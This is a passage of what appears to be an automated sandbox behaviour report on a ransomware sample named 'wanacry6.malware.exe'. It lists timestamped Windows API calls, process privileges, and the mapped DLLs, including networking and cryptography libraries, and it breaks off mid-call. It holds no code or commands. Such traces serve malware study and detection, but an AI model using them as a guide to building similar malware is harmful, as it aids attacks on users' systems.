[0049.813] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.813] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x30002, lParam=0xb018c) returned 0x0 [0049.813] DestroyWindow (hWnd=0xf001e) returned 1 [0049.813] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.813] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x40002, lParam=0xf001e) returned 0x0 [0049.814] DeleteObject (ho=0xffffffffb20a07e2) returned 1 [0049.814] DestroyWindow (hWnd=0xe0020) returned 1 [0049.814] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.814] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x50002, lParam=0xe0020) returned 0x0 [0049.815] DeleteObject (ho=0xffffffff8e0a06db) returned 1 [0049.815] DestroyWindow (hWnd=0x8011c) returned 1 [0049.815] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.815] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x60002, lParam=0x8011c) returned 0x0 [0049.815] DeleteObject (ho=0x440a07f1) returned 1 [0049.815] DestroyWindow (hWnd=0xb01e6) returned 1 [0049.815] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.815] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x70002, lParam=0xb01e6) returned 0x0 [0049.815] DeleteObject (ho=0xffffffffb20a07b3) returned 1 [0049.816] DestroyWindow (hWnd=0xb018a) returned 1 [0049.816] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.816] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x80002, lParam=0xb018a) returned 0x0 [0049.816] KillTimer (hWnd=0x0, uIDEvent=0x7f58) returned 1 [0049.816] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0049.824] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.824] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0049.824] DeleteObject (ho=0x381005af) returned 1 [0049.824] DeleteObject (ho=0xffffffff8d1006dd) returned 1 [0049.824] DeleteObject (ho=0x74100559) returned 1 [0049.825] PostQuitMessage (nExitCode=0) [0049.825] GetMessageW (in: lpMsg=0x10f395f928, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x10f395f928) returned 0 [0049.829] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0049.829] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0049.841] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0049.841] OleUninitialize () [0049.842] DestroyCursor (hCursor=0x2d0183) returned 0 [0049.843] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x10f397fa48 | out: phModule=0x10f397fa48) returned 0 [0049.843] ExitProcess (uExitCode=0x0) Process: id = "28" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x8e65000" os_pid = "0x968" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "27" os_parent_pid = "0xa88" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2338 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2339 start_va = 0xd72ec40000 end_va = 0xd72ec5ffff entry_point = 0x0 region_type = private name = "private_0x000000d72ec40000" filename = "" Region: id = 2340 start_va = 0xd72ec60000 end_va = 0xd72ec6efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72ec60000" filename = "" Region: id = 2341 start_va = 0xd72ec70000 end_va = 0xd72f06ffff entry_point = 0x0 region_type = private name = "private_0x000000d72ec70000" filename = "" Region: id = 2342 start_va = 0xd72f070000 end_va = 0xd72f073fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f070000" filename = "" Region: id = 2343 start_va = 0xd72f080000 end_va = 0xd72f081fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f080000" filename = "" Region: id = 2344 start_va = 0xd72f090000 end_va = 0xd72f091fff entry_point = 0x0 region_type = private name = "private_0x000000d72f090000" filename = "" Region: id = 2345 start_va = 0x7ff756a00000 end_va = 0x7ff756a22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756a00000" filename = "" Region: id = 2346 start_va = 0x7ff756a24000 end_va = 0x7ff756a24fff entry_point = 0x0 region_type = private name = "private_0x00007ff756a24000" filename = "" Region: id = 2347 start_va = 0x7ff756a2e000 end_va = 0x7ff756a2ffff entry_point = 0x0 region_type = private name = "private_0x00007ff756a2e000" filename = "" Region: id = 2348 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 2349 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2351 start_va = 0xd72f1e0000 end_va = 0xd72f5dffff entry_point = 0x0 region_type = private name = "private_0x000000d72f1e0000" filename = "" Region: id = 2352 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2353 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2354 start_va = 0xd72ec40000 end_va = 0xd72ec4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72ec40000" filename = "" Region: id = 2355 start_va = 0xd72ec50000 end_va = 0xd72ec56fff entry_point = 0x0 region_type = private name = "private_0x000000d72ec50000" filename = "" Region: id = 2356 start_va = 0xd72f0a0000 end_va = 0xd72f11dfff entry_point = 0xd72f0a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2357 start_va = 0xd72f120000 end_va = 0xd72f126fff entry_point = 0x0 region_type = private name = "private_0x000000d72f120000" filename = "" Region: id = 2358 start_va = 0xd72f130000 end_va = 0xd72f130fff entry_point = 0x0 region_type = private name = "private_0x000000d72f130000" filename = "" Region: id = 2359 start_va = 0xd72f140000 end_va = 0xd72f140fff entry_point = 0x0 region_type = private name = "private_0x000000d72f140000" filename = "" Region: id = 2360 start_va = 0xd72f6d0000 end_va = 0xd72f6dffff entry_point = 0x0 region_type = private name = "private_0x000000d72f6d0000" filename = "" Region: id = 2361 start_va = 0xd72f6e0000 end_va = 0xd72f867fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f6e0000" filename = "" Region: id = 2362 start_va = 0xd72f870000 end_va = 0xd72f9f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f870000" filename = "" Region: id = 2363 start_va = 0xd72fa00000 end_va = 0xd730dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72fa00000" filename = "" Region: id = 2364 start_va = 0x7ff756900000 end_va = 0x7ff7569fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756900000" filename = "" Region: id = 2365 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2366 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 2367 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 2368 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2369 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2370 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2371 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2372 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 2373 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2374 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 2375 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2376 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2377 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2378 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2379 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2380 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2381 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2382 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2383 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2384 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2385 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2386 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2387 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2388 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2389 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2390 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2391 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2392 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2393 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 2394 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2395 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2396 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2397 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2398 start_va = 0xd72f160000 end_va = 0xd72f161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f160000" filename = "" Region: id = 2399 start_va = 0xd72f1a0000 end_va = 0xd72f1affff entry_point = 0x0 region_type = private name = "private_0x000000d72f1a0000" filename = "" Region: id = 2400 start_va = 0xd72f5e0000 end_va = 0xd72f699fff entry_point = 0xd72f60c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2401 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2402 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2403 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2404 start_va = 0xd72f150000 end_va = 0xd72f150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f150000" filename = "" Region: id = 2405 start_va = 0xd72f5e0000 end_va = 0xd72f6cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f5e0000" filename = "" Region: id = 2406 start_va = 0xd72f150000 end_va = 0xd72f153fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f150000" filename = "" Region: id = 2407 start_va = 0xd72f170000 end_va = 0xd72f176fff entry_point = 0x0 region_type = private name = "private_0x000000d72f170000" filename = "" Region: id = 2408 start_va = 0xd730e00000 end_va = 0xd730efffff entry_point = 0x0 region_type = private name = "private_0x000000d730e00000" filename = "" Region: id = 2409 start_va = 0xd730f00000 end_va = 0xd731000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d730f00000" filename = "" Region: id = 2410 start_va = 0xd72f180000 end_va = 0xd72f180fff entry_point = 0x0 region_type = private name = "private_0x000000d72f180000" filename = "" Region: id = 2411 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2412 start_va = 0xd730f00000 end_va = 0xd7311d4fff entry_point = 0xd730f00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2413 start_va = 0xd72f190000 end_va = 0xd72f190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f190000" filename = "" Region: id = 2414 start_va = 0xd72f1b0000 end_va = 0xd72f1b0fff entry_point = 0x0 region_type = private name = "private_0x000000d72f1b0000" filename = "" Region: id = 2415 start_va = 0xd7311e0000 end_va = 0xd7316d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d7311e0000" filename = "" Region: id = 2416 start_va = 0xd7316e0000 end_va = 0xd73254ffff entry_point = 0xd7316e0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2417 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2418 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2419 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2420 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2421 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2422 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2423 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2424 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2425 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2426 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2427 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2428 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2429 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2430 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2431 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2432 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2433 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2434 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2435 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2436 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2437 start_va = 0xd72f1c0000 end_va = 0xd72f1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f1c0000" filename = "" Region: id = 2438 start_va = 0xd732550000 end_va = 0xd732767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d732550000" filename = "" Region: id = 2439 start_va = 0xd732770000 end_va = 0xd735605fff entry_point = 0xd732770000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 2440 start_va = 0xd72f1c0000 end_va = 0xd72f1c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f1c0000" filename = "" Region: id = 2441 start_va = 0xd72f1d0000 end_va = 0xd72f1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d72f1d0000" filename = "" Region: id = 2442 start_va = 0xd735610000 end_va = 0xd735a09fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d735610000" filename = "" Region: id = 2443 start_va = 0xd735a10000 end_va = 0xd735a53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d735a10000" filename = "" Region: id = 2444 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2445 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2446 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2459 start_va = 0xd735a60000 end_va = 0xd735a84fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d735a60000" filename = "" Thread: id = 143 os_tid = 0xb98 [0049.975] GetStartupInfoW (in: lpStartupInfo=0xd72f06f900 | out: lpStartupInfo=0xd72f06f900*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0049.976] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, 